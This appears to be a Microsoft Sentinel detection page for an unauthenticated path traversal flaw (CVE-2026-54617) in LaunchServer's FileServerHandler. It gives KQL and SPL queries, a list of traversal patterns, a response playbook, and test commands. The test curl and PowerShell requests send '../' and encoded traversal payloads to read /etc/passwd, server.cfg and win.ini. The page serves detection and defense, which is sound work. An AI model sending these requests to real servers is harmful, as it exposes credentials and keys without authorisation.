Detect LaunchServer FileServerHandler Unauthenticated Path Traversal (CVE-2026-54617) in Microsoft Sentinel
Detects exploitation attempts against pro.gravit.launcher:launchserver-api's FileServerHandler, which is vulnerable to an unauthenticated path traversal (CWE-22) allowing arbitrary file read (CWE-200) and disclosure of sensitive data such as credentials or keys (CWE-522) in versions <= 5.7.11. Attackers send crafted HTTP requests containing traversal sequences (../, encoded variants, absolute paths) to the LaunchServer file-serving endpoint to read files outside the intended web root, including server configs, private keys, and auth databases.
MITRE ATT&CK
- Tactic
- Initial Access Collection
KQL Detection Query
let TraversalPatterns = dynamic(["..%2f","..%5c","..\\","../","%2e%2e%2f","%2e%2e/","..%c0%af"]);
W3CIISLog
| where cs_uri_stem has "FileServerHandler" or cs_uri_query has "FileServerHandler"
| where cs_uri_stem has_any (TraversalPatterns) or cs_uri_query has_any (TraversalPatterns)
| extend SourceIP = c_ip
| project TimeGenerated, SourceIP, cs_method, cs_uri_stem, cs_uri_query, sc_status
| union (
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAYS" or Category == "ApplicationGatewayFirewallLog"
| where requestUri_s has "FileServerHandler" and (requestUri_s has_any (TraversalPatterns))
| project TimeGenerated, SourceIP = clientIp_s, cs_method = "", cs_uri_stem = requestUri_s, cs_uri_query = "", sc_status = 0
)
| sort by TimeGenerated descDetects HTTP requests to LaunchServer's FileServerHandler endpoint containing path traversal sequences, indicating exploitation attempts of CVE-2026-54617.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate URL-encoded characters in filenames used by launcher assets
- Vulnerability scanners performing authorized path traversal testing
- Proxy/CDN rewriting of URIs that coincidentally contains dot-dot sequences
Other platforms for CVE-2026-54617
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic path traversal against FileServerHandler
Expected signal: Web/proxy access log entry showing GET request to FileServerHandler with '../' sequences and response body containing /etc/passwd content or a 200 status.
- Test 2URL-encoded traversal against FileServerHandler
Expected signal: Access log entry with percent-encoded traversal sequences in the request URI/query targeting FileServerHandler.
- Test 3Windows-style backslash traversal against FileServerHandler
Expected signal: IIS/web log entry showing a request to FileServerHandler containing '..%5c' sequences and an unusual response size for win.ini content.
Response Playbook
Triage
- Identify the source IP and confirm whether the request targeted the FileServerHandler endpoint with traversal sequences in the URI or query string.
- Check the HTTP response status and size to determine if the traversal attempt was successful (200 OK with unexpected file content vs 403/404 blocked).
- Determine the LaunchServer version in use; versions <= 5.7.11 of pro.gravit.launcher:launchserver-api are vulnerable.
- Review requested file paths for sensitive targets such as configuration files, private keys, database files, or credential stores.
Containment
- Block the offending source IP(s) at the WAF/firewall and rate-limit or disable public access to the FileServerHandler endpoint until patched.
- Upgrade pro.gravit.launcher:launchserver-api to a fixed version beyond 5.7.11 or apply vendor-recommended mitigations restricting file server path resolution.
Evidence Collection
- Preserve raw web/proxy access logs covering the exploitation window, including full request URIs, headers, and response bodies where feasible.
- Collect a copy of any files that may have been disclosed (server configs, key material, auth databases) to assess the scope of exposure and rotate any exposed secrets.
Escalation Criteria
- !Escalate immediately if response evidence indicates successful retrieval of credentials, private keys, or session/auth database contents.
- !Escalate if multiple distinct source IPs are observed probing the same endpoint, suggesting mass scanning or automated exploitation campaigns.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web/proxy access logs showing FileServerHandler requests with traversal payloads and response status/size - >
LaunchServer application logs showing file access errors or unexpected file paths resolved outside the intended directory
Tuning Guidance
Baseline normal FileServerHandler traffic from legitimate launcher clients (mod/asset downloads) to reduce false positives from benign encoded characters. Exclude known internal scanner/pentest IP ranges. Tighten matching to include only requests where traversal sequences resolve outside the expected asset directory depth, and correlate with response status 200 plus unusual response size to prioritize alerts on likely successful exploitation.
Hunting Queries
Hunts for source IPs making an abnormally high number of distinct requests to the FileServerHandler endpoint, indicative of automated traversal fuzzing.
W3CIISLog
| where cs_uri_stem has "FileServerHandler"
| summarize RequestCount=count(), DistinctURIs=dcount(cs_uri_query) by c_ip
| where DistinctURIs > 5
| sort by RequestCount descindex=web_proxy uri="*FileServerHandler*"
| stats count dc(uri) as distinct_uris by src_ip
| where distinct_uris > 5
| sort -countAtomic Red Team Tests
Sends a crafted GET request with ../ sequences to attempt reading /etc/passwd via the FileServerHandler endpoint in a lab LaunchServer instance.
Command
curl -s 'http://TARGET_HOST:PORT/FileServerHandler?file=../../../../etc/passwd' -o /tmp/traversal_test_output.txtCleanup
rm -f /tmp/traversal_test_output.txtExpected Telemetry
Web/proxy access log entry showing GET request to FileServerHandler with '../' sequences and response body containing /etc/passwd content or a 200 status.
Expected Detection
KQL and SPL rules alert on the FileServerHandler request containing '../' traversal patterns.
Sends a URL-encoded traversal payload (%2e%2e%2f) to the FileServerHandler endpoint to bypass naive string filters and read a sensitive config file.
Command
curl -s 'http://TARGET_HOST:PORT/FileServerHandler?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fconfig%2fserver.cfg' -o /tmp/traversal_encoded_output.txtCleanup
rm -f /tmp/traversal_encoded_output.txtExpected Telemetry
Access log entry with percent-encoded traversal sequences in the request URI/query targeting FileServerHandler.
Expected Detection
Elastic EQL and QRadar AQL rules match on '%2e%2e%2f' pattern in the URL targeting FileServerHandler.
Sends a request using backslash and double-encoded traversal sequences targeting a Windows-hosted LaunchServer instance to read a file outside the web root.
Command
powershell -Command "Invoke-WebRequest -Uri 'http://TARGET_HOST:PORT/FileServerHandler?file=..%5c..%5c..%5cWindows%5cwin.ini' -OutFile 'C:\Temp\traversal_win_output.txt'"Cleanup
powershell -Command "Remove-Item -Path 'C:\Temp\traversal_win_output.txt' -Force -ErrorAction SilentlyContinue"Expected Telemetry
IIS/web log entry showing a request to FileServerHandler containing '..%5c' sequences and an unusual response size for win.ini content.
Expected Detection
KQL rule alerts on backslash-encoded traversal sequence ('..%5c') within FileServerHandler requests.